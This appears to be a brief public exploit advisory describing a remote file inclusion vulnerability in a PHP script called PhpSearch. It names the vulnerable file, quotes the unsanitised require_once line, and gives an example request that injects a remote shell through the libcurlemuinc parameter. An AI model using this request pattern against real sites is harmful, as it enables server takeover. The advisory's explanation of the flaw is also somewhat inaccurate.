PhpSearch suffers from a remote file inclusion vulnerability.
1b829ff9306aeef1b48a4708cb0e4303ef8a0c469d1b8ae9eae5e7e9aa76a2c1
Script : PhpSearch
Bug : Remote File Inclusion
Author : SekoMirza
Company : https://www.hawkententerprises.org
Download : https://www.hawkenterprises.org/dev/phpsearch.zip
Dork : not yet
_____________________________________________
Where :
phpsearch/utils/class_HTTPRetriever.php
Bug :
if (is_readable($libcurlemuinc)) require_once($libcurlemuinc);
Explanation :
if class_HTTPRetriever.php is readable you can execute malicious code.
Example :
https://www.site.com/[path]/utils/class_HTTPRetriever.php?libcurlemuinc=[Sh3LL]
_____________________________________________
Thanx to : Str0ke , Hypn0sis , Earnk Kazno , Shadow , Ph.0 , Class 3rr0r , MadWorM , and all hackers